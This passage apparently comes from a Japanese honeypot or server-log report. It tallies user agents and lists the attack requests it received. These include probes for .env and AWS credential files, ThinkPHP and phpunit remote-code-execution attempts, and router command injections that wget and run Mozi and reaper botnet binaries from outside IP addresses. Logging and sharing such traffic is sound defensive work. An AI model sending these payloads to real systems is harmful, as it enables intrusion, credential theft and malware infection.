1	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36Mozilla/5.01732016 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0`
51	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`
3	`Mozilla/5.0 zgrab/0.x`
4	`PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`-`
2		`\x03`
1		`\x16\x03\x01\x01D\x01`
2		`\x16\x03\x01`
1		``
1	CONNECT	`cn[.]bing[.]com:443`	HTTP/1.1
1	CONNECT	`dashboard[.]iproyal[.]com:443`	HTTP/1.1
1	CONNECT	`opendata[.]baidu[.]com:443`	HTTP/1.1
1	CONNECT	`pv[.]sohu[.]com:443`	HTTP/1.1
1	CONNECT	`www[.]baidu[.]com:443`	HTTP/1.1
1	CONNECT	`www[.]so[.]com:443`	HTTP/1.1
1	CONNECT	`www[.]voanews[.]com:443`	HTTP/1.1
1	GET	`/.aws/credentials`	HTTP/1.1
51	GET	`/.env`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=x9dn295s`	HTTP/1.1
1	GET	`/_ignition/execute-solution`	HTTP/1.1
1	GET	`/ab2g`	HTTP/1.1
1	GET	`/ab2h`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
2	GET	`/autodiscover/autodiscover.json/v1.0/1@interact.sh?Protocol=Autodiscoverv1`	HTTP/1.1
1	GET	`/config/getuser?index=0`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
1	GET	`/fuN3`	HTTP/1.0
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
1	GET	`/invoker/readonly`	HTTP/1.1
1	GET	`/jenkins/login`	HTTP/1.1
1	GET	`/login.cgi?cli=aa%20aa%27;wget%20http[:]//134[.]195[.]138[.]33/.nCKx/zx.mips%20-O%20-%3E%20/tmp/kh;/tmp/kh%20selfrep.dlink%27$`	HTTP/1.1
1	GET	`/login`	HTTP/1.1
1	GET	`/manager/html`	HTTP/1.1
1	GET	`/manager/text/list`	HTTP/1.1
1	GET	`/script`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//103[.]41[.]36[.]32:60226/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ 91.218.67.131/reaper/reap.arm4;chmod+777+/tmp/reap.arm4;sh+/tmp/reap.arm4`
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`http[:]//dianying[.]taobao[.]com/cityAction.json?city=&_ksTS=2811874754557_93&jsoncallback=jsonp20&action=cityAction&n_s=new&event_submit_doLocate=true`	HTTP/1.1
1	GET	`http[:]//dongtaiwang[.]com/`	HTTP/1.1
1	GET	`http[:]//www[.]epochtimes[.]com/`	HTTP/1.1
1	GET	`http[:]//www[.]rfa[.]org/english/`	HTTP/1.1
1	GET	`http[:]//www[.]soso[.]com/`	HTTP/1.1
1	GET	`http[:]//www[.]wujieliulan[.]com/`	HTTP/1.1
1	HEAD	`http[:]//110[.]242[.]68[.]4/`	HTTP/1.1
1	POST	`/Autodiscover/Autodiscover.xml`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.0
1	POST	`/_ignition/execute-solution`	HTTP/1.1
1	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh`	HTTP/1.1
3	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	PRI	`*`	HTTP/2.0